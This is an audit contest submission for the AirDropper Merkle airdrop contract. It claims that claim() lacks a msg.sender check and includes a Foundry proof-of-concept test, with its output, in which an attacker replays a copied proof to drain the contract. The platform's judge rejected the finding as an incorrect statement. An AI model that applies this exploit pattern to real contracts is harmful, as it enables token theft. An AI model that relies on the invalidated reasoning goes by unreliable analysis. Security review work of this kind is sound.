AirDropper

AI First Flight #5
Beginner FriendlyDeFiFoundry
EXP
View results
Submission Details
Impact: medium
Likelihood: high
Invalid

No msg.sender verification lets anyone trigger claims for any eligible address

Description

MerkleAirdrop's claim() function accepts an account parameter that determines who receives the tokens. The caller passes any address they want, and the contract never checks that msg.sender == account:

// src/MerkleAirdrop.sol, line 30
function claim(address account, uint256 amount, bytes32[] calldata merkleProof) external payable {
// @> no check that msg.sender == account
if (msg.value != FEE) {
revert MerkleAirdrop__InvalidFeeAmount();
}
bytes32 leaf = keccak256(bytes.concat(keccak256(abi.encode(account, amount))));
if (!MerkleProof.verify(merkleProof, i_merkleRoot, leaf)) {
revert MerkleAirdrop__InvalidProof();
}
emit Claimed(account, amount);
i_airdropToken.safeTransfer(account, amount); // @> tokens go to account, not msg.sender
}

Anyone who possesses a valid Merkle proof can trigger claims for any eligible address. Proofs become public after the first on-chain claim (visible in transaction calldata) or through off-chain tree data.

Combined with H-01 (no double-claim protection), a completely non-eligible attacker can drain the entire contract by repeatedly calling claim() with a copied proof. The tokens go to the eligible address, but the attacker controls when and how many times claims execute.

Risk

Likelihood:

  • Merkle proofs are public data. They are visible in transaction calldata the moment any eligible address makes their first claim. The off-chain tree data (tree.json) is also typically published.

  • Any address on the network can call claim() with a copied proof. No special permissions or capital needed.

Impact:

  • Front-running: an attacker sees a pending claim in the mempool, extracts the proof, and submits first. The tokens still go to the eligible address, but the attacker captures the timing.

  • Combined with H-01: a non-eligible attacker drains the full 100 USDC by replaying a copied proof 4 times. The eligible address receives all tokens, but the other 3 claimants get nothing.

Proof of Concept

function testExploit_UnauthorizedClaim() public {
address attacker = makeAddr("attacker");
uint256 fee = airdrop.getFee();
vm.deal(attacker, fee * 5);
// Attacker (non-eligible) calls claim for collectorOne
vm.prank(attacker);
airdrop.claim{value: fee}(collectorOne, amountToCollect, proof);
// Succeeds: tokens sent to collectorOne, triggered by attacker
assertEq(token.balanceOf(collectorOne), 25000000);
// Combined with H-01: attacker drains entire contract
vm.prank(attacker);
airdrop.claim{value: fee}(collectorOne, amountToCollect, proof);
vm.prank(attacker);
airdrop.claim{value: fee}(collectorOne, amountToCollect, proof);
vm.prank(attacker);
airdrop.claim{value: fee}(collectorOne, amountToCollect, proof);
assertEq(token.balanceOf(address(airdrop)), 0);
}
[PASS] testExploit_UnauthorizedClaim() (gas: 133555)
Logs:
Attacker: 0x9dF0C6b0066D5317aA5b38B36850548DaCCa6B4e
Collector: 0x20F41376c713072937eb02Be70ee1eD0D639966C
Collector balance after first claim: 25000000
Contract balance after 4 claims: 0

Recommended Mitigation

+ error MerkleAirdrop__NotAuthorized();
function claim(address account, uint256 amount, bytes32[] calldata merkleProof) external payable {
+ if (msg.sender != account) {
+ revert MerkleAirdrop__NotAuthorized();
+ }
if (msg.value != FEE) {
revert MerkleAirdrop__InvalidFeeAmount();
}

If third-party claiming is a desired feature, implement EIP-712 signatures so the eligible address explicitly authorizes a specific claimer.

Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 17 hours ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!